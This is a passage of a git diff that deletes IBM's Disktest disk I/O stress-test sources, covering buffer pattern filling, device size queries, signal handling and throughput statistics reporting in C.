-	if (args->flags & CLD_FLG_ALT_MARK) {
-		off_tpat3 = getByteOrderedData(args->alt_mark);
-	} else {
-		off_tpat3 = getByteOrderedData(start_time);
-	}
-	off_tpat4 = getByteOrderedData(args->seed);
-
-	for (i = 0; i < buf_len; i = i + BLK_SIZE) {
-		if (args->flags & CLD_FLG_MRK_LBA) {
-			/* fill first 8 bytes with lba number */
-			off_tpat = getByteOrderedData(local_lba);
-			*(off_tbuf + (i / sizeof(OFF_T))) = off_tpat;
-		}
-		if (args->flags & CLD_FLG_MRK_PASS) {
-			/* fill second 8 bytes with pass_count */
-			*(off_tbuf + (i / sizeof(OFF_T)) + 1) = off_tpat2;
-		}
-		if (args->flags & CLD_FLG_MRK_TIME) {
-			/* fill third 8 bytes with start_time */
-			*(off_tbuf + (i / sizeof(OFF_T)) + 2) = off_tpat3;
-		}
-		if (args->flags & CLD_FLG_MRK_SEED) {
-			/* fill fourth 8 bytes with seed data */
-			*(off_tbuf + (i / sizeof(OFF_T)) + 3) = off_tpat4;
-		}
-		if (args->flags & CLD_FLG_MRK_HOST) {
-			/* now add the hostname to the mark data */
-			memcpy(ucharBuf + 32 + i, hostname, HOSTNAME_SIZE);
-		}
-		if (args->flags & CLD_FLG_MRK_TARGET) {
-			/* now add the target to the mark data */
-			memcpy(ucharBuf + 32 + HOSTNAME_SIZE + i, args->device,
-			       strlen(args->device));
-		}
-
-		local_lba++;
-	}
-}
-
-/*
-* function fill_buffer
-* This function fills the passed buffer with data based on the pattern and patten type.
-* for pattern types of counting the pattern does not matter.  For lba pattern type, the
-* pattern will be the address of the lba.
-*/
-
-void fill_buffer(void *buf, size_t len, void *pattern, size_t pattern_len,
-		 const unsigned int pattern_type)
-{
-	size_t i, j;
-	unsigned char *ucharbuf = buf;
-	OFF_T *off_tbuf = buf;
-	unsigned char *ucharpattern = pattern;
-	OFF_T *poff_tpattern = pattern;
-	OFF_T off_tpat, off_tpat2;
-
-	switch (pattern_type) {	/* the pattern type should only be one of the following */
-	case CLD_FLG_CPTYPE:
-		/* Will fill buffer with counting pattern 0x00 thru 0xff */
-		for (i = 0; i < len; i++)
-			ucharbuf[i] = (unsigned char)(i & 0xff);
-		break;
-	case CLD_FLG_FPTYPE:
-		/* arrange data to go on the wire correctly */
-		off_tpat = 0;
-		for (j = 0; j < (sizeof(OFF_T) / pattern_len); j++)
-			for (i = 0; i < pattern_len; ++i)
-#ifdef WINDOWS
-				off_tpat |=
-				    (((OFF_T) (ucharpattern[i])) << 8 *
-				     (7 - ((j * pattern_len) + i)));
-#endif
-#ifdef AIX
-		off_tpat |=
-		    (((OFF_T) (ucharpattern[(8 - pattern_len) + i])) << 8 *
-		     (7 - ((j * pattern_len) + i)));
-#endif
-#ifdef LINUX
-#if __BYTE_ORDER == __LITTLE_ENDIAN
-		off_tpat |=
-		    (((OFF_T) (ucharpattern[i])) << 8 *
-		     (7 - ((j * pattern_len) + i)));
-#else
-		off_tpat |=
-		    (((OFF_T) (ucharpattern[(8 - pattern_len) + i])) << 8 *
-		     (7 - ((j * pattern_len) + i)));
-#endif
-#endif
-
-		/* fill buffer with fixed pattern */
-		for (i = 0; i < len / 8; i++)
-			*(off_tbuf + i) = off_tpat;
-		break;
-	case CLD_FLG_LPTYPE:
-		off_tpat2 = *poff_tpattern;
-		for (j = 0; j < len; j++) {
-			/* arrange data to go on the wire correctly */
-			ucharpattern = (unsigned char *)&off_tpat2;
-			off_tpat = 0;
-			for (i = 0; i < pattern_len; i++)
-#ifdef WINDOWS
-				off_tpat |=
-				    (((OFF_T) (ucharpattern[i])) << 8 *
-				     (7 - i));
-#endif
-#ifdef AIX
-			off_tpat |=
-			    (((OFF_T) (ucharpattern[(8 - pattern_len) + i])) <<
-			     8 * (7 - i));
-#endif
-#ifdef LINUX
-#if __BYTE_ORDER == __LITTLE_ENDIAN
-			off_tpat |=
-			    (((OFF_T) (ucharpattern[i])) << 8 * (7 - i));
-#else
-			off_tpat |=
-			    (((OFF_T) (ucharpattern[(8 - pattern_len) + i])) <<
-			     8 * (7 - i));
-#endif
-#endif
-
-			/* fill buffer with lba number */
-			for (i = 0; i < BLK_SIZE / 8; i++) {
-				*(off_tbuf + i + (j * (BLK_SIZE / 8))) =
-				    off_tpat;
-			}
-			off_tpat2++;
-		}
-		break;
-	case CLD_FLG_RPTYPE:
-		/* Will fill buffer with a random pattern.
-		 * Unfortunatly, every LBA, 512 bytes of data will be
-		 * the same random data set, this is due to the LBA
-		 * boundary requirement of disktest.  This should be fixed
-		 * at some point...
-		 */
-		for (i = 0; i < BLK_SIZE / sizeof(OFF_T); i++)
-			*(off_tbuf + i) = Rand64();
-
-		for (i = BLK_SIZE; i < len; i += BLK_SIZE)
-			memcpy((ucharbuf + i), ucharbuf, BLK_SIZE);
-		break;
-	default:
-		printf("Unknown fill pattern\n");
-		exit(1);
-	}
-}
-
-void normalize_percs(child_args_t * args)
-{
-	int i, j;
-
-	if ((args->flags & CLD_FLG_R) && !(args->flags & CLD_FLG_W)) {
-		if ((args->flags & CLD_FLG_DUTY) && (args->rperc < 100)) {
-			pMsg(WARN, args,
-			     "Read specified w/o write, ignoring -D, forcing read only...\n");
-		}
-		args->rperc = 100;
-		args->wperc = 0;
-	} else if ((args->flags & CLD_FLG_W) && !(args->flags & CLD_FLG_R)) {
-		if ((args->flags & CLD_FLG_DUTY) && (args->wperc < 100)) {
-			pMsg(WARN, args,
-			     "Write specified w/o read, ignoring -D, forcing write only...\n");
-		}
-		args->rperc = 0;
-		args->wperc = 100;
-	} else {		/* must be reading and writing */
-		if (args->rperc == 0 && args->wperc == 0) {
-			args->rperc = 50;
-			args->wperc = 50;
-		} else if (args->rperc == 0) {
-			args->rperc = 100 - args->wperc;
-		} else if (args->wperc == 0) {
-			args->wperc = 100 - args->rperc;
-		}
-	}
-
-	if (args->rperc + args->wperc != 100) {
-		pMsg(INFO, args,
-		     "Balancing percentage between reads and writes\n");
-		if ((args->flags & CLD_FLG_R) && (args->flags & CLD_FLG_W)) {
-			i = 100 - (args->rperc + args->wperc);
-			j = i / 2;
-			args->wperc += j;
-			args->rperc += (i - j);
-		}
-	}
-}
-
-#ifndef WINDOWS
-char *strupr(char *String)
-{
-	unsigned int i;
-
-	for (i = 0; i < strlen(String); i++) {
-		*(String + i) = toupper(*(String + i));
-	}
-	return (String);
-}
-
-char *strlwr(char *String)
-{
-	unsigned int i;
-
-	for (i = 0; i < strlen(String); i++) {
-		*(String + i) = tolower(*(String + i));
-	}
-	return (String);
-}
-#endif
-
-OFF_T get_file_size(char *device)
-{
-	OFF_T size = 0;
-	fd_t fd;
-
-#ifdef WINDOWS
-	SetLastError(0);
-
-	fd = CreateFile(device,
-			GENERIC_READ,
-			FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
-#else
-	fd = open(device, 0);
-#endif
-
-	if (INVALID_FD(fd)) {
-		return size;
-	}
-
-	size = SeekEnd(fd);
-	size /= BLK_SIZE;
-
-	CLOSE(fd);
-	return size;
-}
-
-OFF_T get_vsiz(const char *device)
-{
-#ifdef PPC
-	unsigned long size = 0;
-#else
-	OFF_T size = 0;
-#endif
-
-#ifdef WINDOWS
-	HANDLE hFileHandle;
-	BOOL bRV;
-	DWORD dwLength;
-	GET_LENGTH_INFORMATION myLengthInfo;
-	DISK_GEOMETRY DiskGeom;
-
-	hFileHandle = CreateFile(device,
-				 GENERIC_READ,
-				 FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
-
-	if (hFileHandle == INVALID_HANDLE_VALUE) {
-		return (GetLastError());
-	}
-
-	SetLastError(0);
-	bRV = DeviceIoControl(hFileHandle,
-			      IOCTL_DISK_GET_LENGTH_INFO,
-			      NULL,
-			      0,
-			      &myLengthInfo,
-			      sizeof(GET_LENGTH_INFORMATION), &dwLength, NULL);
-
-	if (bRV) {
-		size = myLengthInfo.Length.QuadPart;
-		size /= BLK_SIZE;	/* return requires BLOCK */
-	} else {
-		bRV = DeviceIoControl(hFileHandle,
-				      IOCTL_DISK_GET_DRIVE_GEOMETRY,
-				      NULL,
-				      0,
-				      &DiskGeom,
-				      sizeof(DISK_GEOMETRY), &dwLength, NULL);
-
-		if (bRV) {
-			size = (OFF_T) DiskGeom.Cylinders.QuadPart;
-			size *= (OFF_T) DiskGeom.TracksPerCylinder;
-			size *= (OFF_T) DiskGeom.SectorsPerTrack;
-		} else {
-			size = 0;
-		}
-	}
-	CloseHandle(hFileHandle);
-#else
-	int fd = 0;
-#if AIX
-	struct devinfo *my_devinfo = NULL;
-	unsigned long ulSizeTmp;
-#endif
-
-	if ((fd = open(device, 0)) < 0) {
-		return 0;
-	}
-#if AIX
-	my_devinfo = (struct devinfo *)ALLOC(sizeof(struct devinfo));
-	if (my_devinfo != NULL) {
-		memset(my_devinfo, 0, sizeof(struct devinfo));
-		if (ioctl(fd, IOCINFO, my_devinfo) == -1)
-			size = -1;
-		else {
-			if (my_devinfo->flags & DF_LGDSK) {
-				ulSizeTmp =
-				    (unsigned long)my_devinfo->un.scdk64.
-				    hi_numblks;
-				size |=
-				    ((((OFF_T) ulSizeTmp) << 32) &
-				     0xFFFFFFFF00000000ll);
-				ulSizeTmp =
-				    (unsigned long)my_devinfo->un.scdk64.
-				    lo_numblks;
-				size |=
-				    (((OFF_T) ulSizeTmp) &
-				     0x00000000FFFFFFFFll);
-			} else {
-				ulSizeTmp =
-				    (unsigned long)my_devinfo->un.scdk.numblks;
-				size |=
-				    (((OFF_T) ulSizeTmp) &
-				     0x00000000FFFFFFFFll);
-			}
-		}
-		FREE(my_devinfo);
-	}
-#else
-	if (ioctl(fd, BLKGETSIZE, &size) == -1)
-		size = -1;
-#endif
-
-	close(fd);
-#endif
-
-#ifdef PPC
-	return ((OFF_T) size);
-#else
-	return (size);
-#endif
-}
-
-#ifndef WINDOWS
-void Sleep(unsigned int msecs)
-{
-	usleep(msecs * 1000);
-}
-#endif
-
-fmt_time_t format_time(time_t seconds)
-{
-	fmt_time_t time_struct;
-
-	time_struct.days = seconds / 86400;
-	time_struct.hours = (seconds % 86400) / 3600;
-	time_struct.minutes = (seconds % 3600) / 60;
-	time_struct.seconds = seconds % 60;
-
-	return time_struct;
-}
diff --git a/testcases/kernel/io/disktest/sfunc.h b/testcases/kernel/io/disktest/sfunc.h
deleted file mode 100644
index e107951..0000000
--- a/testcases/kernel/io/disktest/sfunc.h
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-*
-* $Id: sfunc.h,v 1.5 2008/02/14 08:22:23 subrata_modak Exp $
-* $Log: sfunc.h,v $
-* Revision 1.5  2008/02/14 08:22:23  subrata_modak
-* Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-*
-* Revision 1.13  2005/10/12 23:13:35  yardleyb
-* Updates to code to support new function in disktest version 1.3.x.
-* Actual changes are recorded in the README
-*
-* Revision 1.12  2005/05/03 16:24:38  yardleyb
-* Added needed code changes to support windows
-*
-* Revision 1.11  2005/01/08 21:18:34  yardleyb
-* Update performance output and usage.  Fixed pass count check
-*
-* Revision 1.10  2004/11/02 20:47:13  yardleyb
-* Added -F functions.
-* lots of minor fixes. see README
-*
-* Revision 1.9  2002/03/30 01:32:14  yardleyb
-* Major Changes:
-*
-* Added Dumping routines for
-* data miscompares,
-*
-* Updated performance output
-* based on command line.  Gave
-* one decimal in MB/s output.
-*
-* Rewrote -pL IO routine to show
-* correct stats.  Now show pass count
-* when using -C.
-*
-* Minor Changes:
-*
-* Code cleanup to remove the plethera
-* if #ifdef for windows/unix functional
-* differences.
-*
-* Revision 1.8  2002/02/28 02:04:32  yardleyb
-* Moved FileSeek64 to IO
-* source files.
-*
-* Revision 1.7  2002/02/19 02:46:37  yardleyb
-* Added changes to compile for AIX.
-* Update getvsiz so it returns a -1
-* if the ioctl fails and we handle
-* that fact correctly.  Added check
-* to force vsiz to always be greater
-* then stop_lba.
-*
-* Revision 1.6  2001/12/04 18:51:06  yardleyb
-* Checkin of new source files and removal
-* of outdated source
-*
-* Revision 1.4  2001/10/10 00:17:14  yardleyb
-* Added Copyright and GPL license text.
-* Miner bug fixes throughout text.
-*
-* Revision 1.3  2001/09/22 03:44:25  yardleyb
-* Added level code pMsg.
-*
-* Revision 1.2  2001/09/06 18:23:30  yardleyb
-* Added duty cycle -D.  Updated usage. Added
-* make option to create .tar.gz of all files
-*
-* Revision 1.1  2001/09/05 22:44:42  yardleyb
-* Split out some of the special functions.
-* added O_DIRECT -Id.  Updated usage.  Lots
-* of clean up to functions.  Added header info
-* to pMsg.
-*
-*
-*/
-
-#ifndef _SFUNC_H
-#define _SFUNC_H 1
-
-#include <stdarg.h>
-
-#include "main.h"
-#include "defs.h"
-
-typedef enum lvl {
-	START, END, STAT, INFO, DBUG, WARN, ERR
-} lvl_t;
-
-typedef struct fmt_time {
-	time_t days;
-	time_t hours;
-	time_t minutes;
-	time_t seconds;
-} fmt_time_t;
-
-OFF_T my_strtofft(const char *pStr);
-int pMsg(lvl_t level, const child_args_t *, char *Msg,...);
-void fill_buffer(void *, size_t, void *, size_t, const unsigned int);
-void mark_buffer(void *, const size_t, void *, const child_args_t *, const test_env_t *);
-void normalize_percs(child_args_t *);
-#ifndef WINDOWS
-void Sleep(unsigned int);
-char *strupr(char *);
-char *strlwr(char *);
-#endif
-OFF_T get_vsiz(const char *);
-OFF_T get_file_size(char *);
-OFF_T Rand64(void);
-fmt_time_t format_time(time_t);
-
-#endif /* _SFUNC_H */
-
diff --git a/testcases/kernel/io/disktest/signals.c b/testcases/kernel/io/disktest/signals.c
deleted file mode 100644
index dac1dcb..0000000
--- a/testcases/kernel/io/disktest/signals.c
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2005
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: signals.c,v 1.1 2008/02/14 08:22:23 subrata_modak Exp $
-*/
-#ifdef WINDOWS
-#include <windows.h>
-#else
-#include <pthread.h>
-#endif
-#include <signal.h>
-#include "threading.h"
-#include "signals.h"
-
-/*
- * global variable used to indicate what signal
- * (if any) has been caught
- */
-int handled_signal = -1;
-int signal_action = SIGNAL_NONE;
-
-/*
- * mutex to be used whenever accessing the above
- * global data
- */
-#ifdef WINDOWS
-HANDLE sig_mutex;
-#else
-pthread_mutex_t sig_mutex = PTHREAD_MUTEX_INITIALIZER;
-#endif
-
-#ifdef WINDOWS
-void sig_handler(int sig)
-#else
-void *sig_handler(void *arg)
-#endif
-{
-#ifndef WINDOWS
-	sigset_t signal_set;
-	int sig;
-	int rv;
-
-	/* wait for any and all signals */
-	sigfillset(&signal_set);
-#ifdef AIX
-	/* except in AIX, can't sigwait on this signals */
-	sigdelset(&signal_set, SIGKILL);
-	sigdelset(&signal_set, SIGWAITING);
-	sigdelset(&signal_set, SIGSTOP);
-#endif
-
-	for (;;) {
-		rv = sigwait(&signal_set, &sig);
-#endif
-
-		switch (sig) {
-		case SIGQUIT:
-			LOCK(sig_mutex);
-			handled_signal = SIGQUIT;
-			signal_action |= SIGNAL_STOP;
-			UNLOCK(sig_mutex);
-			break;
-
-		case SIGINT:
-			LOCK(sig_mutex);
-			handled_signal = SIGINT;
-			signal_action |= SIGNAL_STOP;
-			UNLOCK(sig_mutex);
-			break;
-
-		case SIGTERM:
-			LOCK(sig_mutex);
-			handled_signal = SIGTERM;
-			signal_action |= SIGNAL_STOP;
-			UNLOCK(sig_mutex);
-			break;
-
-		case SIGHUP:
-			LOCK(sig_mutex);
-			handled_signal = SIGHUP;
-			signal_action |= SIGNAL_STOP;
-			UNLOCK(sig_mutex);
-			break;
-
-		case SIGUSR1:
-			LOCK(sig_mutex);
-			handled_signal = SIGUSR1;
-			signal_action |= SIGNAL_STAT;
-			UNLOCK(sig_mutex);
-			break;
-
-			/* whatever you need to do for other signals */
-		default:
-			LOCK(sig_mutex);
-			handled_signal = 0;
-			UNLOCK(sig_mutex);
-			break;
-		}
-#ifndef WINDOWS
-	}
-	return NULL;
-#endif
-}
-
-void setup_sig_mask(void)
-{
-#ifndef WINDOWS
-	sigset_t signal_set;
-	pthread_t sig_thread;
-#endif
-
-#ifdef WINDOWS
-	if ((sig_mutex = CreateMutex(NULL, FALSE, NULL)) == NULL) {
-		return;
-	}
-#endif
-
-	/* block all signals */
-#ifdef WINDOWS
-	signal(SIGINT, sig_handler);
-	signal(SIGTERM, sig_handler);
-	signal(SIGUSR1, sig_handler);
-#else
-	sigemptyset(&signal_set);
-	sigaddset(&signal_set, SIGINT);
-	sigaddset(&signal_set, SIGHUP);
-	sigaddset(&signal_set, SIGQUIT);
-	sigaddset(&signal_set, SIGTERM);
-	sigaddset(&signal_set, SIGUSR1);
-
-#ifdef AIX
-	sigthreadmask(SIG_SETMASK, &signal_set, NULL);
-#else
-	pthread_sigmask(SIG_SETMASK, &signal_set, NULL);
-#endif
-
-	/* create the signal handling thread */
-	pthread_create(&sig_thread, NULL, sig_handler, NULL);
-#endif
-}
-
-void clear_stat_signal(void)
-{
-	if (signal_action & SIGNAL_STAT) {
-		LOCK(sig_mutex);
-		signal_action &= ~SIGNAL_STAT;
-		UNLOCK(sig_mutex);
-	}
-}
diff --git a/testcases/kernel/io/disktest/signals.h b/testcases/kernel/io/disktest/signals.h
deleted file mode 100644
index 2a88dcc..0000000
--- a/testcases/kernel/io/disktest/signals.h
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2005
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: signals.h,v 1.1 2008/02/14 08:22:24 subrata_modak Exp $
-*/
-
-#ifndef SIGNALS_H
-#define SIGNALS_H 1
-
-#define SIGNAL_NONE 0x0000
-#define SIGNAL_STOP 0x0001
-#define SIGNAL_STAT 0x0002
-
-#ifdef WINDOWS
-#define SIGQUIT	0x03	/* Definition from POSIX */
-#define SIGHUP	0x01	/* Definition from POSIX */
-#define SIGUSR1	0x10	/* Definition from POSIX */
-#endif
-
-void setup_sig_mask( void );
-void clear_stat_signal( void );
-
-#endif /* SIGNALS_H */
diff --git a/testcases/kernel/io/disktest/stats.c b/testcases/kernel/io/disktest/stats.c
deleted file mode 100644
index ac9b474..0000000
--- a/testcases/kernel/io/disktest/stats.c
+++ /dev/null
@@ -1,409 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: stats.c,v 1.2 2008/02/14 08:22:24 subrata_modak Exp $
-*
-*/
-#include <stdio.h>
-#ifdef WINDOWS
-#include <windows.h>
-#include <winioctl.h>
-#include <io.h>
-#include <process.h>
-#include <sys/stat.h>
-#include "getopt.h"
-#else
-#include <sys/types.h>
-#include <unistd.h>
-#endif
-#include <stdlib.h>
-#include <stdarg.h>
-#include <signal.h>
-#include <time.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <ctype.h>
-
-#include "defs.h"
-#include "globals.h"
-#include "sfunc.h"
-#include "threading.h"
-#include "stats.h"
-
-void print_stats(child_args_t * args, test_env_t * env, statop_t operation)
-{
-	extern time_t global_start_time;	/* global pointer to overall start */
-	extern unsigned long glb_flags;	/* global flags GLB_FLG_xxx */
-
-	time_t curr_time = 0, hwrite_time = 0, hread_time = 0, write_time =
-	    0, read_time = 0, gw_time = 0, gr_time = 0;
-	fmt_time_t time_struct;
-
-	curr_time = time(NULL);
-
-	if ((curr_time - env->start_time) == 0)
-		curr_time++;
-
-	if ((args->flags & CLD_FLG_LINEAR) && !(args->flags & CLD_FLG_NTRLVD)) {
-		hread_time = env->hbeat_stats.rtime;
-		hwrite_time = env->hbeat_stats.wtime;
-		read_time = env->cycle_stats.rtime;
-		write_time = env->cycle_stats.wtime;
-		gr_time = env->global_stats.rtime;
-		gw_time = env->global_stats.wtime;
-	} else {
-		hread_time = ((env->hbeat_stats.rtime * args->rperc) / 100);
-		hwrite_time = ((env->hbeat_stats.wtime * args->wperc) / 100);
-		read_time = ((env->cycle_stats.rtime * args->rperc) / 100);
-		write_time = ((env->cycle_stats.wtime * args->wperc) / 100);
-		gr_time =
-		    (time_t) ((env->global_stats.rtime * args->rperc) / 100);
-		gw_time =
-		    (time_t) ((env->global_stats.wtime * args->wperc) / 100);
-	}
-
-	/* if one second really has not passed, then make it at least one second */
-	if (hread_time == 0)
-		hread_time++;
-	if (hwrite_time == 0)
-		hwrite_time++;
-	if (read_time == 0)
-		read_time++;
-	if (write_time == 0)
-		write_time++;
-	if (gr_time == 0)
-		gr_time++;
-	if (gw_time == 0)
-		gw_time++;
-
-	if (glb_flags & GLB_FLG_PERFP) {
-		if (args->flags & CLD_FLG_PRFTYPS) {
-			printf("%s;", args->device);
-		}
-		switch (operation) {
-		case HBEAT:	/* only display current HBEAT stats */
-			if ((args->flags & CLD_FLG_XFERS)) {
-				printf(CTRSTR, (env->hbeat_stats.rbytes),
-				       (env->hbeat_stats.rcount));
-				printf(CTWSTR, (env->hbeat_stats.wbytes),
-				       (env->hbeat_stats.wcount));
-			}
-			if ((args->flags & CLD_FLG_TPUTS)) {
-				printf(CTRRSTR,
-				       ((double)(env->hbeat_stats.rbytes) /
-					(double)(hread_time)),
-				       ((double)(env->hbeat_stats.rcount) /
-					(double)(hread_time)));
-				printf(CTRWSTR,
-				       ((double)(env->hbeat_stats.wbytes) /
-					(double)(hwrite_time)),
-				       ((double)(env->hbeat_stats.wcount) /
-					(double)(hwrite_time)));
-			}
-			if ((args->flags & CLD_FLG_RUNT)) {
-				printf("%lu;Rsecs;%lu;Wsecs;", hread_time,
-				       hwrite_time);
-			}
-			break;
-		case CYCLE:	/* only display current CYCLE stats */
-			if ((args->flags & CLD_FLG_XFERS)) {
-				printf(CTRSTR, (env->cycle_stats.rbytes),
-				       (env->cycle_stats.rcount));
-				printf(CTWSTR, (env->cycle_stats.wbytes),
-				       (env->cycle_stats.wcount));
-			}
-			if ((args->flags & CLD_FLG_TPUTS)) {
-				printf(CTRRSTR,
-				       ((double)(env->cycle_stats.rbytes) /
-					(double)(read_time)),
-				       ((double)(env->cycle_stats.rcount) /
-					(double)(read_time)));
-				printf(CTRWSTR,
-				       ((double)(env->cycle_stats.wbytes) /
-					(double)(write_time)),
-				       ((double)(env->cycle_stats.wcount) /
-					(double)(write_time)));
-			}
-			if ((args->flags & CLD_FLG_RUNT)) {
-				printf("%lu;Rsecs;%lu;Wsecs;", read_time,
-				       write_time);
-			}
-			break;
-		case TOTAL:	/* display total read and write stats */
-			if ((args->flags & CLD_FLG_XFERS)) {
-				printf(TCTRSTR, (env->global_stats.rbytes),
-				       (env->global_stats.rcount));
-				printf(TCTWSTR, (env->global_stats.wbytes),
-				       (env->global_stats.wcount));
-			}
-			if ((args->flags & CLD_FLG_TPUTS)) {
-				printf(TCTRRSTR,
-				       ((double)(env->global_stats.rbytes) /
-					(double)(gr_time)),
-				       ((double)(env->global_stats.rcount) /
-					(double)(gr_time)));
-				printf(TCTRWSTR,
-				       ((double)(env->global_stats.wbytes) /
-					(double)(gw_time)),
-				       ((double)(env->global_stats.wcount) /
-					(double)(gw_time)));
-			}
-			if ((args->flags & CLD_FLG_RUNT)) {
-				printf("%lu;secs;",
-				       (curr_time - env->start_time));
-			}
-			break;
-		default:
-			pMsg(ERR, args, "Unknown stats display type.\n");
-		}
-
-		if (args->flags & CLD_FLG_PRFTYPS) {
-			printf("\n");
-		}
-	} else {
-		if ((args->flags & CLD_FLG_XFERS)) {
-			switch (operation) {
-			case HBEAT:	/* only display current HBEAT stats */
-				if (args->flags & CLD_FLG_R) {
-					pMsg(STAT, args, HRTSTR,
-					     (env->hbeat_stats.rbytes),
-					     (env->hbeat_stats.rcount));
-				}
-				if (args->flags & CLD_FLG_W) {
-					pMsg(STAT, args, HWTSTR,
-					     (env->hbeat_stats.wbytes),
-					     (env->hbeat_stats.wcount));
-				}
-				break;
-			case CYCLE:	/* only display current CYCLE stats */
-				if (args->flags & CLD_FLG_R) {
-					pMsg(STAT, args, CRTSTR,
-					     (env->cycle_stats.rbytes),
-					     (env->cycle_stats.rcount));
-				}
-				if (args->flags & CLD_FLG_W) {
-					pMsg(STAT, args, CWTSTR,
-					     (env->cycle_stats.wbytes),
-					     (env->cycle_stats.wcount));
-				}
-				break;
-			case TOTAL:	/* display total read and write stats */
-				if (args->flags & CLD_FLG_R) {
-					pMsg(STAT, args, TRTSTR,
-					     (env->global_stats.rcount),
-					     (env->global_stats.rbytes));
-				}
-				if (args->flags & CLD_FLG_W) {
-					pMsg(STAT, args, TWTSTR,
-					     (env->global_stats.wcount),
-					     (env->global_stats.wbytes));
-				}
-				break;
-			default:
-				pMsg(ERR, args,
-				     "Unknown stats display type.\n");
-			}
-		}
-
-		if ((args->flags & CLD_FLG_TPUTS)) {
-			switch (operation) {
-			case HBEAT:	/* only display current read stats */
-				if (args->flags & CLD_FLG_R) {
-					pMsg(STAT, args, HRTHSTR,
-					     ((double)env->hbeat_stats.rbytes /
-					      (double)(hread_time)),
-					     (((double)env->hbeat_stats.rbytes /
-					       (double)hread_time) /
-					      (double)1048576.),
-					     ((double)env->hbeat_stats.rcount /
-					      (double)(hread_time)));
-				}
-				if (args->flags & CLD_FLG_W) {
-					pMsg(STAT, args, HWTHSTR,
-					     ((double)env->hbeat_stats.wbytes /
-					      (double)hwrite_time),
-					     (((double)env->hbeat_stats.wbytes /
-					       (double)hwrite_time) /
-					      (double)1048576.),
-					     ((double)env->hbeat_stats.wcount /
-					      (double)hwrite_time));
-				}
-				break;
-			case CYCLE:	/* only display current read stats */
-				if (args->flags & CLD_FLG_R) {
-					pMsg(STAT, args, CRTHSTR,
-					     ((double)env->cycle_stats.rbytes /
-					      (double)(read_time)),
-					     (((double)env->cycle_stats.rbytes /
-					       (double)read_time) /
-					      (double)1048576.),
-					     ((double)env->cycle_stats.rcount /
-					      (double)(read_time)));
-				}
-				if (args->flags & CLD_FLG_W) {
-					pMsg(STAT, args, CWTHSTR,
-					     ((double)env->cycle_stats.wbytes /
-					      (double)write_time),
-					     (((double)env->cycle_stats.wbytes /
-					       (double)write_time) /
-					      (double)1048576.),
-					     ((double)env->cycle_stats.wcount /
-					      (double)write_time));
-				}
-				break;
-			case TOTAL:	/* display total read and write stats */
-				if (args->flags & CLD_FLG_R) {
-					pMsg(STAT, args, TRTHSTR,
-					     ((double)env->global_stats.rbytes /
-					      (double)gr_time),
-					     (((double)env->global_stats.
-					       rbytes / (double)gr_time) /
-					      (double)1048576.),
-					     ((double)env->global_stats.rcount /
-					      (double)gr_time));
-				}
-				if (args->flags & CLD_FLG_W) {
-					pMsg(STAT, args, TWTHSTR,
-					     ((double)env->global_stats.wbytes /
-					      (double)gw_time),
-					     (((double)env->global_stats.
-					       wbytes / (double)gw_time) /
-					      (double)1048576.),
-					     ((double)env->global_stats.wcount /
-					      (double)gw_time));
-				}
-				break;
-			default:
-				pMsg(ERR, args,
-				     "Unknown stats display type.\n");
-			}
-		}
-		if (args->flags & CLD_FLG_RUNT) {
-			switch (operation) {
-			case HBEAT:	/* only display current cycle stats */
-				if (args->flags & CLD_FLG_R) {
-					time_struct = format_time(hread_time);
-					pMsg(STAT, args,
